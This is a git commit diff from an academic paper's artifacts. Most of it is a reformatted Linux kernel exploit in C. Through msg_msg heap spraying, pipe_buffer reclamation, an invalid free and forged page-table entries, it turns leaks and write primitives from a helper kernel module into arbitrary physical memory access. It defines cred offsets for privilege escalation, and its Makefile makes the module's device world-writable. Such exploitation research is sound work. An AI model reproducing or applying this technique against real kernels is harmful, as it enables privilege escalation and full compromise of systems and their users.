playing around a bit

This commit is contained in:
twoneis 2025-02-27 20:09:14 +01:00
parent 58a4f4761f
commit 3503de83da
33 changed files with 1317 additions and 906 deletions

1
paper/artifacts/.envrc Normal file
View file

@ -0,0 +1 @@
use flake

View file

@ -3,9 +3,9 @@ KVERSION = $(shell uname -r)
all: build modules remove insert
init: build modules insert
remove:
sudo rmmod lkm
rmmod lkm
insert:
sudo insmod lkm.ko && sudo chmod 666 /dev/lkm
insmod lkm.ko && chmod 666 /dev/lkm
modules:
make -C /lib/modules/$(KVERSION)/build M=$(PWD) modules
clean:

View file

@ -1,16 +1,18 @@
#include "utils.h"
#include "ulkm.h"
#include "msg_msg.h"
#include "pipe_buffer.h"
#include "pgtable.h"
#include "tlb_flush.h"
#include <sys/syscall.h>
#include <sys/mman.h>
#include <pthread.h>
#include <assert.h>
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <assert.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include "msg_msg.h"
#include "pgtable.h"
#include "pipe_buffer.h"
#include "tlb_flush.h"
#include "ulkm.h"
#include "utils.h"
// #define ANON_PIPE_BUF_OPS_OFFSET 0x1648cc0 // v6.8
#define ANON_PIPE_BUF_OPS_OFFSET 0x1448280 // v6.6
@ -19,7 +21,7 @@
#define RESTORE
#define TASK_STRUCT_SLAB_ORDER 3
#define TASK_STRUCT_SIZE 10496
#define TASK_STRUCT_SIZE 10496
// #define TASK_STRUCT_COMM_OFFSET 3008
#define TASK_STRUCT_COMM_OFFSET 3016
// #define TASK_STRUCT_PID_OFFSET 2464
@ -29,38 +31,38 @@
// #define TASK_STRUCT_REAL_CRED_OFFSET 2984
#define TASK_STRUCT_REAL_CRED_OFFSET 2992
// #define TASK_STRUCT_CRED_OFFSET 2992
#define TASK_STRUCT_CRED_OFFSET 3000
#define TASK_STRUCT_CRED_OFFSET 3000
#define CRED_UID_GID_OFFSET 8
#define CRED_SUID_SGID_OFFSET 16
#define CRED_EUID_EGID_OFFSET 24
#define CRED_FSUID_FSGID_OFFSET 32
#define CRED_UID_GID_OFFSET 8
#define CRED_SUID_SGID_OFFSET 16
#define CRED_EUID_EGID_OFFSET 24
#define CRED_FSUID_FSGID_OFFSET 32
#define CRED_CAP_INHERITABLE_OFFSET 48
#define CRED_CAP_PERMITTED_OFFSET 56
#define CRED_CAP_EFFECTIVE_OFFSET 64
#define CRED_CAP_BSET_OFFSET 72
#define CRED_CAP_AMBIENT_OFFSET 80
#define CRED_CAP_PERMITTED_OFFSET 56
#define CRED_CAP_EFFECTIVE_OFFSET 64
#define CRED_CAP_BSET_OFFSET 72
#define CRED_CAP_AMBIENT_OFFSET 80
#define PAGE_SIZE (1<<12)
#define PAGE_SIZE (1 << 12)
#define OBJ_PER_SLAB 42
#define OBJ_PER_SLAB 42
#define MSG_SPRAYS (OBJ_PER_SLAB*40)
#define MSG_FREE (MSG_SPRAYS-2*OBJ_PER_SLAB)
#define MSG_TYPE 0x41
#define MSG_HEADER 48
#define MSG_NEXT_HEADER 8
#define __MSG_SIZE 96
#define MSG_SIZE (__MSG_SIZE-MSG_HEADER)
#define MSG_SPRAYS (OBJ_PER_SLAB * 40)
#define MSG_FREE (MSG_SPRAYS - 2 * OBJ_PER_SLAB)
#define MSG_TYPE 0x41
#define MSG_HEADER 48
#define MSG_NEXT_HEADER 8
#define __MSG_SIZE 96
#define MSG_SIZE (__MSG_SIZE - MSG_HEADER)
#define MSG_SPRAYS2 (OBJ_PER_SLAB*4)
#define MSG_TYPE2 0x42
#define __MSG_SIZE2 (4096+__MSG_SIZE)
#define MSG_SIZE2 (__MSG_SIZE2-MSG_HEADER-MSG_NEXT_HEADER)
#define MSG_SPRAYS2 (OBJ_PER_SLAB * 4)
#define MSG_TYPE2 0x42
#define __MSG_SIZE2 (4096 + __MSG_SIZE)
#define MSG_SIZE2 (__MSG_SIZE2 - MSG_HEADER - MSG_NEXT_HEADER)
#define PIPE_SPRAY (OBJ_PER_SLAB*4)
#define PIPE_SIZE 40
#define PIPE_CNT 1
#define PIPE_SPRAY (OBJ_PER_SLAB * 4)
#define PIPE_SIZE 40
#define PIPE_CNT 1
int qids[MSG_SPRAYS];
int qids2[MSG_SPRAYS2];
@ -79,325 +81,359 @@ char page_content_org[sizeof(buffer)];
int pipes[PIPE_SPRAY][2];
void cleanup(void)
void
cleanup(void)
{
printf("[*] cleanup\n");
for (size_t i = 0; i < MSG_SPRAYS; ++i)
cleanup_queue(qids[i]);
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
if (i != overlayed_id)
cleanup_queue_no_err(qids2[i]);
printf("[*] cleanup\n");
for (size_t i = 0; i < MSG_SPRAYS; ++i)
cleanup_queue(qids[i]);
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
if (i != overlayed_id)
cleanup_queue_no_err(qids2[i]);
}
size_t pipe_buffer;
void stage1(void)
void
stage1(void)
{
msg *message = (msg *)buffer;
message->mtype = MSG_TYPE;
msg *message = (msg *)buffer;
message->mtype = MSG_TYPE;
printf("[*] alloc msg_queue\n");
for (size_t i = 0; i < MSG_SPRAYS; ++i)
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
printf("[*] alloc msg_queue\n");
for (size_t i = 0; i < MSG_SPRAYS; ++i)
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
printf("[*] alloc msg_msg\n");
for (size_t i = 0; i < MSG_SPRAYS; ++i)
send_msg(qids[i], message, MSG_SIZE, 0);
printf("[*] alloc msg_msg\n");
for (size_t i = 0; i < MSG_SPRAYS; ++i)
send_msg(qids[i], message, MSG_SIZE, 0);
lkm_msg_msg_leak((size_t)&msg_msg, qids[MSG_FREE], MSG_TYPE);
printf("[+] leaked msg_msg %016zx\n", msg_msg);
lkm_msg_msg_leak((size_t)&msg_msg, qids[MSG_FREE], MSG_TYPE);
printf("[+] leaked msg_msg %016zx\n", msg_msg);
printf("[*] free msg_msg\n");
memset(buffer, 0x41, sizeof(buffer));
// free all all but 1 of the current slab
// creates all free slots on the slot except one
// except one because to prevent returning the partial slab to the page allocator (unlikely but may be)
for (ssize_t i = -OBJ_PER_SLAB*2; i < OBJ_PER_SLAB; ++i)
get_msg(qids[MSG_FREE+i], message, MSG_SIZE, 0, IPC_NOWAIT);
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
alloc_pipes(pipes[i], O_NONBLOCK);
resize_pipe(pipes[i][0], 2);
write_pipe(pipes[i][1], buffer, 8);
}
printf("[*] reclaimed as pipe_buffer\n");
pipe_buffer = (msg_msg & ~0xfff) + __MSG_SIZE;
printf("[+] pipe_buffer %016zx\n", pipe_buffer);
printf("[*] free msg_msg\n");
memset(buffer, 0x41, sizeof(buffer));
// free all all but 1 of the current slab
// creates all free slots on the slot except one
// except one because to prevent returning the partial slab to the
// page allocator (unlikely but may be)
for (ssize_t i = -OBJ_PER_SLAB * 2; i < OBJ_PER_SLAB; ++i)
get_msg(qids[MSG_FREE + i], message, MSG_SIZE, 0, IPC_NOWAIT);
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
alloc_pipes(pipes[i], O_NONBLOCK);
resize_pipe(pipes[i][0], 2);
write_pipe(pipes[i][1], buffer, 8);
}
printf("[*] reclaimed as pipe_buffer\n");
pipe_buffer = (msg_msg & ~0xfff) + __MSG_SIZE;
printf("[+] pipe_buffer %016zx\n", pipe_buffer);
#ifdef DEBUG
printf("[*] pipe_buffer:\n");
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
size_t tmp;
lkm_read(pipe_buffer+i, (size_t)&tmp);
printf("%016zx\n", tmp);
}
printf("[*] pipe_buffer:\n");
for (ssize_t i = 0; i < PIPE_SIZE + __MSG_SIZE; i += 8) {
size_t tmp;
lkm_read(pipe_buffer + i, (size_t)&tmp);
printf("%016zx\n", tmp);
}
#endif
}
size_t vmemmap_pud;
#ifdef RESTORE
char pipe_buffer_old_content[PIPE_SIZE];
void save_pipe_buffer_state(void)
void
save_pipe_buffer_state(void)
{
for (size_t i = 0; i < PIPE_SIZE; i += 8)
lkm_read(pipe_buffer+i, (size_t)&pipe_buffer_old_content[i]);
printf("[*] temporarily store pipe_buffer content\n");
for (size_t i = 0; i < PIPE_SIZE; i += 8)
lkm_read(pipe_buffer + i, (size_t)&pipe_buffer_old_content[i]);
printf("[*] temporarily store pipe_buffer content\n");
}
void restore_pipe_buffer_state(void)
void
restore_pipe_buffer_state(void)
{
for (size_t i = 0; i < PIPE_SIZE; i += 8)
lkm_write(pipe_buffer+i, *(size_t *)(pipe_buffer_old_content + i));
printf("[*] store old pipe_buffer content\n");
for (size_t i = 0; i < PIPE_SIZE; i += 8)
lkm_write(pipe_buffer + i,
*(size_t *)(pipe_buffer_old_content + i));
printf("[*] store old pipe_buffer content\n");
}
#else
void save_pipe_buffer_state(void) {}
void restore_pipe_buffer_state(void) {}
void
save_pipe_buffer_state(void)
{
}
void
restore_pipe_buffer_state(void)
{
}
#endif
size_t address;
size_t pud;
void stage2(void)
void
stage2(void)
{
printf("[*] leak pud\n");
address = (void *)mmap((void *)((1ULL<<39)|255*(1ULL<<30)), PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
if ((void *)address == MAP_FAILED) {
perror("mmap()");
exit(-1);
}
*(volatile size_t *)address;
size_t pgde;
size_t pude;
size_t pmde;
size_t pte;
lkm_arb_pagetable_wald(address, &pgde, &pude, &pmde, &pte);
pud = dpm_base + (pgde & ~(0xfff));
printf("[*] %016zx: %016zx -> %016zx -> %016zx -> %016zx\n", address, pgde, pude, pmde, pte);
printf("[*] pud %016zx\n", pud);
printf("[*] leak pud\n");
address = (void *)mmap((void *)((1ULL << 39) | 255 * (1ULL << 30)),
PAGE_SIZE, PROT_WRITE | PROT_READ,
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
if ((void *)address == MAP_FAILED) {
perror("mmap()");
exit(-1);
}
*(volatile size_t *)address;
size_t pgde;
size_t pude;
size_t pmde;
size_t pte;
lkm_arb_pagetable_wald(address, &pgde, &pude, &pmde, &pte);
pud = dpm_base + (pgde & ~(0xfff));
printf("[*] %016zx: %016zx -> %016zx -> %016zx -> %016zx\n", address,
pgde, pude, pmde, pte);
printf("[*] pud %016zx\n", pud);
}
struct pipe_buffer {
size_t page;
unsigned int len;
unsigned int offset;
size_t ops;
unsigned int flags;
size_t private;
size_t page;
unsigned int len;
unsigned int offset;
size_t ops;
unsigned int flags;
size_t private;
};
#define PHYS_TO_VMEMMAP(x) ((((x) >> 12) << 6) + vmemmap_base)
#define DPM_TO_VMEMMAP(x) PHYS_TO_VMEMMAP((x) - dpm_base)
void stage3(void)
#define DPM_TO_VMEMMAP(x) PHYS_TO_VMEMMAP((x) - dpm_base)
void
stage3(void)
{
vmemmap_pud = DPM_TO_VMEMMAP(pud);
save_pipe_buffer_state();
vmemmap_pud = DPM_TO_VMEMMAP(pud);
save_pipe_buffer_state();
memset(buffer, 0, sizeof(buffer));
memset(buffer, 0, sizeof(buffer));
msg *message = (msg *)buffer;
message->mtype = MSG_TYPE2;
printf("[*] alloc queues for reclaiming invalid free\n");
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
qids2[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
msg *message = (msg *)buffer;
message->mtype = MSG_TYPE2;
printf("[*] alloc queues for reclaiming invalid free\n");
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
qids2[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
printf("[*] invalid free at %016zx\n", pipe_buffer-8);
lkm_arb_free(pipe_buffer-8);
printf("[*] invalid free at %016zx\n", pipe_buffer - 8);
lkm_arb_free(pipe_buffer - 8);
printf("[*] overwrite pipe_buffer->page with %016zx\n", vmemmap_pud);
struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER);
memset(corr_pipe_buffer, 0, sizeof(struct pipe_buffer));
corr_pipe_buffer->page = vmemmap_pud;
corr_pipe_buffer->offset = 8;
corr_pipe_buffer->len = 15;
corr_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
corr_pipe_buffer->flags = 0x10;
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
send_msg(qids2[i], message, MSG_SIZE2, 0);
printf("[*] overwrite pipe_buffer->page with %016zx\n", vmemmap_pud);
struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer +
8 + 4096 - MSG_HEADER);
memset(corr_pipe_buffer, 0, sizeof(struct pipe_buffer));
corr_pipe_buffer->page = vmemmap_pud;
corr_pipe_buffer->offset = 8;
corr_pipe_buffer->len = 15;
corr_pipe_buffer->ops = code_base + ANON_PIPE_BUF_OPS_OFFSET;
corr_pipe_buffer->flags = 0x10;
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
send_msg(qids2[i], message, MSG_SIZE2, 0);
#ifdef DEBUG
printf("[*] pipe_buffer:\n");
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
size_t tmp;
lkm_read(pipe_buffer+i, (size_t)&tmp);
printf("%016zx\n", tmp);
}
printf("[*] pipe_buffer:\n");
for (ssize_t i = 0; i < PIPE_SIZE + __MSG_SIZE; i += 8) {
size_t tmp;
lkm_read(pipe_buffer + i, (size_t)&tmp);
printf("%016zx\n", tmp);
}
#endif
}
void pud_print(void)
void
pud_print(void)
{
printf("[*] print pud\n");
for (size_t i = 0; i < 16*8; i += 8) {
size_t tmp;
lkm_read(pud+i, (size_t)&tmp);
printf("%016zx: %016zx\n", pud+i, tmp);
}
printf("[*] print pud\n");
for (size_t i = 0; i < 16 * 8; i += 8) {
size_t tmp;
lkm_read(pud + i, (size_t)&tmp);
printf("%016zx: %016zx\n", pud + i, tmp);
}
}
#define IS_VMEMMAP(x) (((x) & ~((1<<30)-1)) == vmemmap_base)
#define IS_VMEMMAP(x) (((x) & ~((1 << 30) - 1)) == vmemmap_base)
size_t page_fd = -1;
size_t pivot_addr;
void stage4(void)
void
stage4(void)
{
size_t count = 0;
printf("[*] find overwritten pipe_buffer\n");
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
memset(buffer, 0, sizeof(buffer));
read_pipe(pipes[i][0], buffer, 7);
if (buffer[0] != 0x41) {
buffer[7] = -1;
count++;
page_fd = i;
printf("[+] found pipe_buffer fd %4zd\n", page_fd);
if (IS_VMEMMAP(*(size_t *)(buffer))) {
printf("[+] found page %016zx\n", *(size_t *)(buffer));
continue;
}
}
}
size_t count = 0;
printf("[*] find overwritten pipe_buffer\n");
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
memset(buffer, 0, sizeof(buffer));
read_pipe(pipes[i][0], buffer, 7);
if (buffer[0] != 0x41) {
buffer[7] = -1;
count++;
page_fd = i;
printf("[+] found pipe_buffer fd %4zd\n", page_fd);
if (IS_VMEMMAP(*(size_t *)(buffer))) {
printf("[+] found page %016zx\n",
*(size_t *)(buffer));
continue;
}
}
}
if (page_fd == (size_t)-1 || count != 1) {
printf("[!] count %zd\n", count);
printf("[!] page_fd %016zx\n", page_fd);
restore_pipe_buffer_state();
exit(-1);
}
if (page_fd == (size_t)-1 || count != 1) {
printf("[!] count %zd\n", count);
printf("[!] page_fd %016zx\n", page_fd);
restore_pipe_buffer_state();
exit(-1);
}
printf("[*] find msg_msg that overlays the corrupted pipe_buffer\n");
for (size_t i = 0; i < MSG_SPRAYS2; ++i) {
memset(buffer, 0, sizeof(buffer));
get_msg(qids2[i], buffer, MSG_SIZE2, 0, MSG_COPY|IPC_NOWAIT);
struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER);
if (corr_pipe_buffer->offset != 8 || corr_pipe_buffer->len != 15) {
printf("[+] found overlayed msg_msg %zd\n", i);
overlayed_id = i;
}
}
printf("[*] find msg_msg that overlays the corrupted pipe_buffer\n");
for (size_t i = 0; i < MSG_SPRAYS2; ++i) {
memset(buffer, 0, sizeof(buffer));
get_msg(qids2[i], buffer, MSG_SIZE2, 0, MSG_COPY | IPC_NOWAIT);
struct pipe_buffer *corr_pipe_buffer =
(struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER);
if (corr_pipe_buffer->offset != 8 ||
corr_pipe_buffer->len != 15) {
printf("[+] found overlayed msg_msg %zd\n", i);
overlayed_id = i;
}
}
#ifdef DEBUG
printf("[*] pipe_buffer:\n");
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
size_t tmp;
lkm_read(pipe_buffer+i, (size_t)&tmp);
printf("%016zx\n", tmp);
}
printf("[*] pipe_buffer:\n");
for (ssize_t i = 0; i < PIPE_SIZE + __MSG_SIZE; i += 8) {
size_t tmp;
lkm_read(pipe_buffer + i, (size_t)&tmp);
printf("%016zx\n", tmp);
}
#endif
printf("[*] write to pud\n");
char _cor_pude[16*8+1];
memset(_cor_pude, 0, sizeof(_cor_pude));
for (size_t i = 0; i < 16; ++i) {
*(size_t *)(_cor_pude + 1 + 8*i) = PAGE_TABLE_LARGE + i*(1ULL << 30) + (4ULL << 30);
}
write_pipe(pipes[page_fd][1], (void *)_cor_pude, 16*8);
printf("[*] write to pud\n");
char _cor_pude[16 * 8 + 1];
memset(_cor_pude, 0, sizeof(_cor_pude));
for (size_t i = 0; i < 16; ++i) {
*(size_t *)(_cor_pude + 1 + 8 * i) = PAGE_TABLE_LARGE +
i * (1ULL << 30) + (4ULL << 30);
}
write_pipe(pipes[page_fd][1], (void *)_cor_pude, 16 * 8);
pivot_addr = ((1ULL<<39)|3*(1ULL<<30));
size_t pgde;
size_t pude;
size_t pmde;
size_t pte;
lkm_arb_pagetable_wald(pivot_addr, &pgde, &pude, &pmde, &pte);
printf("[*] %016zx: %016zx -> %016zx -> %016zx -> %016zx\n", pivot_addr, pgde, pude, pmde, pte);
pivot_addr = ((1ULL << 39) | 3 * (1ULL << 30));
size_t pgde;
size_t pude;
size_t pmde;
size_t pte;
lkm_arb_pagetable_wald(pivot_addr, &pgde, &pude, &pmde, &pte);
printf("[*] %016zx: %016zx -> %016zx -> %016zx -> %016zx\n", pivot_addr,
pgde, pude, pmde, pte);
#ifdef DEBUG
pud_print();
printf("[*] pipe_buffer:\n");
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
size_t tmp;
lkm_read(pipe_buffer+i, (size_t)&tmp);
printf("%016zx\n", tmp);
}
pud_print();
printf("[*] pipe_buffer:\n");
for (ssize_t i = 0; i < PIPE_SIZE + __MSG_SIZE; i += 8) {
size_t tmp;
lkm_read(pipe_buffer + i, (size_t)&tmp);
printf("%016zx\n", tmp);
}
#endif
}
size_t old_pt;
size_t *arb_pt = (size_t *)-1;
char *arb_page = (char *)-1;
void stage5(void)
void
stage5(void)
{
for (size_t try = 0; try < 0x10; ++try) {
char buf[PAGE_SIZE];
char *ptr = mmap((void *)((1ULL << 46)|(1ULL<<39)*try), (1<<30), PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
cleanup();
restore_pipe_buffer_state();
exit(-1);
}
size_t mapping_space = (16ULL<<30);
for (size_t try = 0; try < 0x10; ++try) {
char buf[PAGE_SIZE];
char *ptr = mmap((void *)((1ULL << 46) | (1ULL << 39) * try),
(1 << 30), PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
cleanup();
restore_pipe_buffer_state();
exit(-1);
}
size_t mapping_space = (16ULL << 30);
printf("[*] init pt already mapped\n");
char *pt_already_mapped = malloc(mapping_space/PAGE_SIZE);
memset(pt_already_mapped, 0, mapping_space/PAGE_SIZE);
for (size_t i = 0; i < mapping_space/PAGE_SIZE; ++i)
if ((*(size_t *)(pivot_addr + PAGE_SIZE * i) & PTE) == PTE)
pt_already_mapped[i] = 1;
printf("[*] init pt already mapped\n");
char *pt_already_mapped = malloc(mapping_space / PAGE_SIZE);
memset(pt_already_mapped, 0, mapping_space / PAGE_SIZE);
for (size_t i = 0; i < mapping_space / PAGE_SIZE; ++i)
if ((*(size_t *)(pivot_addr + PAGE_SIZE * i) & PTE) ==
PTE)
pt_already_mapped[i] = 1;
printf("[*] map a lot of page tables\n");
for (size_t i = 0; i < (1<<30); i += (1<<21))
memset(ptr + i, 0x46, PAGE_SIZE);
printf("[*] map a lot of page tables\n");
for (size_t i = 0; i < (1 << 30); i += (1 << 21))
memset(ptr + i, 0x46, PAGE_SIZE);
printf("[*] show where new page tables are\n");
for (size_t i = 0; i < mapping_space/PAGE_SIZE; ++i) {
if ((*(size_t *)(pivot_addr + PAGE_SIZE * i) & PTE) == PTE && pt_already_mapped[i] == 0) {
printf("[+] found pt at %ld with %016zx\n", i, *(size_t *)(pivot_addr + PAGE_SIZE * i));
arb_pt = (size_t *)(pivot_addr + PAGE_SIZE * i);
old_pt = *arb_pt;
*arb_pt = PTE;
break;
}
}
printf("[*] show where new page tables are\n");
for (size_t i = 0; i < mapping_space / PAGE_SIZE; ++i) {
if ((*(size_t *)(pivot_addr + PAGE_SIZE * i) & PTE) ==
PTE &&
pt_already_mapped[i] == 0) {
printf("[+] found pt at %ld with %016zx\n", i,
*(size_t *)(pivot_addr + PAGE_SIZE * i));
arb_pt = (size_t *)(pivot_addr + PAGE_SIZE * i);
old_pt = *arb_pt;
*arb_pt = PTE;
break;
}
}
memset(buf, 0x46, PAGE_SIZE);
for (size_t i = 0; i < (1<<30); i += (1<<21)) {
if (memcmp(ptr + i, buf, PAGE_SIZE)) {
arb_page = ptr + i;
printf("[+] found page %016zx\n", (size_t)arb_page);
break;
}
}
if (arb_page != (char *)-1)
break;
printf("[?] arbitrary page not found -> retry\n");
}
if (arb_page == (char *)-1) {
printf("[!] arbitrary page not found\n");
cleanup();
restore_pipe_buffer_state();
exit(-1);
}
printf("[+] success\n");
memset(buf, 0x46, PAGE_SIZE);
for (size_t i = 0; i < (1 << 30); i += (1 << 21)) {
if (memcmp(ptr + i, buf, PAGE_SIZE)) {
arb_page = ptr + i;
printf("[+] found page %016zx\n",
(size_t)arb_page);
break;
}
}
if (arb_page != (char *)-1)
break;
printf("[?] arbitrary page not found -> retry\n");
}
if (arb_page == (char *)-1) {
printf("[!] arbitrary page not found\n");
cleanup();
restore_pipe_buffer_state();
exit(-1);
}
printf("[+] success\n");
}
int main(void)
int
main(void)
{
int ret = 0;
pin_to_core(0);
set_limit();
printf("[*] start\n");
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
int ret = 0;
pin_to_core(0);
set_limit();
printf("[*] start\n");
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
init_tlb_flush();
get_total_memory();
init_tlb_flush();
get_total_memory();
lkm_init();
lkm_init();
lkm_virt_base_leak((size_t)&virt_base);
lkm_vmemmap_leak((size_t)&vmemmap_base);
lkm_dpm_leak((size_t)&dpm_base);
lkm_code_leak((size_t)&code_base);
printf("[*] virt_base %016zx\n", virt_base);
printf("[*] vmemmap_base %016zx\n", vmemmap_base);
printf("[*] dpm_base %016zx\n", dpm_base);
printf("[*] code_base %016zx\n", code_base);
lkm_virt_base_leak((size_t)&virt_base);
lkm_vmemmap_leak((size_t)&vmemmap_base);
lkm_dpm_leak((size_t)&dpm_base);
lkm_code_leak((size_t)&code_base);
printf("[*] virt_base %016zx\n", virt_base);
printf("[*] vmemmap_base %016zx\n", vmemmap_base);
printf("[*] dpm_base %016zx\n", dpm_base);
printf("[*] code_base %016zx\n", code_base);
stage1();
stage2();
stage3();
stage4();
stage5();
stage1();
stage2();
stage3();
stage4();
stage5();
cleanup();
restore_pipe_buffer_state();
printf("[*] done\n");
return ret;
}
cleanup();
restore_pipe_buffer_state();
printf("[*] done\n");
return ret;
}

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

61
paper/artifacts/flake.lock generated Normal file
View file

@ -0,0 +1,61 @@
{
"nodes": {
"flake-utils": {
"inputs": {
"systems": "systems"
},
"locked": {
"lastModified": 1731533236,
"narHash": "sha256-l0KFg5HjrsfsO/JpG+r7fRrqm12kzFHyUHqHCVpMMbI=",
"owner": "numtide",
"repo": "flake-utils",
"rev": "11707dc2f618dd54ca8739b309ec4fc024de578b",
"type": "github"
},
"original": {
"owner": "numtide",
"repo": "flake-utils",
"type": "github"
}
},
"nixpkgs": {
"locked": {
"lastModified": 1739863612,
"narHash": "sha256-UbtgxplOhFcyjBcNbTVO8+HUHAl/WXFDOb6LvqShiZo=",
"owner": "nixos",
"repo": "nixpkgs",
"rev": "632f04521e847173c54fa72973ec6c39a371211c",
"type": "github"
},
"original": {
"owner": "nixos",
"ref": "nixpkgs-unstable",
"repo": "nixpkgs",
"type": "github"
}
},
"root": {
"inputs": {
"flake-utils": "flake-utils",
"nixpkgs": "nixpkgs"
}
},
"systems": {
"locked": {
"lastModified": 1681028828,
"narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=",
"owner": "nix-systems",
"repo": "default",
"rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e",
"type": "github"
},
"original": {
"owner": "nix-systems",
"repo": "default",
"type": "github"
}
}
},
"root": "root",
"version": 7
}

23
paper/artifacts/flake.nix Normal file
View file

@ -0,0 +1,23 @@
{
inputs = {
nixpkgs.url = "github:nixos/nixpkgs/nixpkgs-unstable";
flake-utils.url = "github:numtide/flake-utils";
};
outputs = { nixpkgs, flake-utils, ... }: flake-utils.lib.eachSystem [
"x86_64-linux" "i686-linux" "aarch64-linux" "x86_64-darwin"
] (system: let
pkgs = import nixpkgs {
inherit system;
};
in {
devShells.default = pkgs.mkShell {
packages = with pkgs; [
pkg-config
clang-tools
clang
libgcc
];
};
});
}

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View file

@ -1,56 +1,63 @@
#pragma once
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/msg.h>
void alloc_pipes(int *pipefd, int flags)
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void
alloc_pipes(int *pipefd, int flags)
{
int ret = pipe2(pipefd, flags);
if (ret < 0) {
perror("pipe2");
exit(-1);
}
int ret = pipe2(pipefd, flags);
if (ret < 0) {
perror("pipe2");
exit(-1);
}
}
void write_pipe(int fd, char *buf, size_t sz)
void
write_pipe(int fd, char *buf, size_t sz)
{
int ret = write(fd, buf, sz);
if (ret < 0) {
perror("write(pipes)");
exit(-1);
}
int ret = write(fd, buf, sz);
if (ret < 0) {
perror("write(pipes)");
exit(-1);
}
}
void resize_pipe(int fd, size_t nr_slots)
void
resize_pipe(int fd, size_t nr_slots)
{
int ret = fcntl(fd, F_SETPIPE_SZ, nr_slots << 12);
if (ret < 0) {
perror("fcntl(fd, F_SETPIPE_SZ, nr_slots << 12)");
exit(-1);
}
int ret = fcntl(fd, F_SETPIPE_SZ, nr_slots << 12);
if (ret < 0) {
perror("fcntl(fd, F_SETPIPE_SZ, nr_slots << 12)");
exit(-1);
}
}
int write_pipe_no_err(int fd, char *buf, size_t sz)
int
write_pipe_no_err(int fd, char *buf, size_t sz)
{
int ret = write(fd, buf, sz);
return ret;
int ret = write(fd, buf, sz);
return ret;
}
void read_pipe(int fd, char *buf, size_t sz)
void
read_pipe(int fd, char *buf, size_t sz)
{
int ret = read(fd, buf, sz);
if (ret < 0) {
perror("read(pipes)");
exit(-1);
}
int ret = read(fd, buf, sz);
if (ret < 0) {
perror("read(pipes)");
exit(-1);
}
}
int read_pipe_no_err(int fd, char *buf, size_t sz)
int
read_pipe_no_err(int fd, char *buf, size_t sz)
{
int ret = read(fd, buf, sz);
return ret;
}
int ret = read(fd, buf, sz);
return ret;
}

View file

@ -1,21 +1,21 @@
#include <linux/device.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <asm/io.h>
#include <linux/slab.h>
#include <linux/pgtable.h>
#include <asm/pgtable_64.h>
#include <linux/kprobes.h>
#include <linux/ipc_namespace.h>
#include <linux/msg.h>
#include <linux/device.h>
#include <linux/fdtable.h>
#include <linux/fs.h>
#include <linux/ipc_namespace.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/module.h>
#include <linux/msg.h>
#include <linux/pgtable.h>
#include <linux/pipe_fs_i.h>
#include <linux/slab.h>
#include "include/lkm.h"
#define DEVICE_NAME "lkm"
#define CLASS_NAME "lkmclass"
#define CLASS_NAME "lkmclass"
int lkm_init_device_driver(void);
static int lkm_init(void);
@ -49,33 +49,15 @@ unsigned long __text;
unsigned long vmemmap_base;
unsigned long vmalloc_base;
unsigned long __end;
static struct kprobe kp = {
.symbol_name = "init_top_pgt"
};
static struct kprobe kp1 = {
.symbol_name = "module_alloc"
};
static struct kprobe kp2 = {
.symbol_name = "set_memory_rox"
};
static struct kprobe kp3 = {
.symbol_name = "ipc_obtain_object_check"
};
static struct kprobe kp4 = {
.symbol_name = "slub_addr_base"
};
static struct kprobe kp5 = {
.symbol_name = "_text"
};
static struct kprobe kp6 = {
.symbol_name = "vmemmap_base"
};
static struct kprobe kp7 = {
.symbol_name = "vmalloc_base"
};
static struct kprobe kp8 = {
